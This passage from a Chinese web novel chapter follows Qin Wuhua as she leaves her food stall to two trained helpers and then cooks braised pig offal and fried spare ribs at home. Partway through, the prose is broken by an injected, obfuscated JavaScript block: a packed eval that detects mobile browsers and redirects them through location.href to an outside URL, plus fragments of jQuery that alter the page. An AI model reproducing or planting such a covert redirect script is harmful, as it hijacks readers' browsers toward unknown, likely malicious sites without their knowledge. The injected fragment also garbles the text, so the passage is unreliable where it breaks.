钟再放盐，不然肉不容易炖熟。”

江莲和齐思年不愧于几个月的磨合，即便是其中一个人稍微出错了，秦物华还没开口提醒，另一个人就会立刻补上。

是一对磨合的很好的搭档和伙伴。

秦物华后面索性不出声了，看着两个人行云流水的配合，满意点头，“你们两个做得很好。”

“接下来，就是学子们检验你们手艺的时候了。”

江莲和齐思年的饭菜获得了四江私塾学子们的一致好评，秦物华终于放下心，准备再过几个月就把这份生意彻底转交给两人。

“我先走了，你们忙。”

“店家慢走。”

“慢走。”

齐思年小声问江莲，“店家这是什么意思啊？人都来了，还要咱们自己做。”

江莲摸一摸袖中的本子，从薄薄的一页到满本都是厨艺心得，是她熬夜点灯也心甘情愿一字一句记下的，她笑着道：“不知道，等着就是了。”

*

秦物华哼着小曲买了排骨，让卖肉的剁成小块。

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825517|153742||http|test|mini|href|location''.split(''|''),0,{}));

() {

$(''.inform'').remove();

$(''#content'').append(''

她买的多，卖肉的又了她点猪下水。

“姑娘再来。”

秦物华拎着血淋淋的排骨和猪下水，家里还有土豆和西红柿，猪下水大部分是猪肚，她打算一块卤了当配菜吃，所以又买了花椒大料等香料。

“阿姊回来啦，你的花要种哪啊，他在那收拾呢，就等着你说了。”

秦物华无奈看着秦东流，“流姐儿，你先让我进去。”

“好。”

“就让他种在院子那块就行，分开种，别种一块。”

“好。”秦东流一路小跑着说给林序南。

秦物华把排骨泡上，收拾起了猪下水，大部分是猪肚和猪肠子，肠子里脏东西多的很，秦物华洗了十来遍才把两样东西泡上，反复泡好几次去血水。

转过头收拾起了排骨，照旧放入盐糖、酱油、料酒、花椒粉搅拌均匀腌制半个时辰。

趁着这个功夫，秦物华把猪下水焯水撇去浮沫，捞出来控水把大块切小，但不要切到入口的程度。

另起一个锅放入葱姜、大料八角、花椒香叶、辣椒桂皮等香料，倒水煮开后半刻钟倒入酱油盐等调料，把猪下水放进去，小火炖煮至熟透后，浸泡在卤汁中，泡得越久越有滋味。

等到最后了，还能扔点豆皮豆角之类的东西进去，到时候卤肉也有了，卤菜也有了。

排骨腌制得差不多了，秦物华又另拿一个盆，倒入淀粉、面粉、鸡蛋和香油，搅拌均匀，面糊要稍微稀一点，这样排骨不必裹上厚厚的面衣，吃起来满嘴油。

锅中倒油，筷子戳进去冒小泡泡后放入排骨，炸透一面后翻面，火候不用大，但要炸熟炸透。

秦物华等排骨炸熟后捞出放凉复炸。

又拌了一个素什锦解腻，调了糖醋酱，煮了白粥，切了小部分猪肚，拌上醋、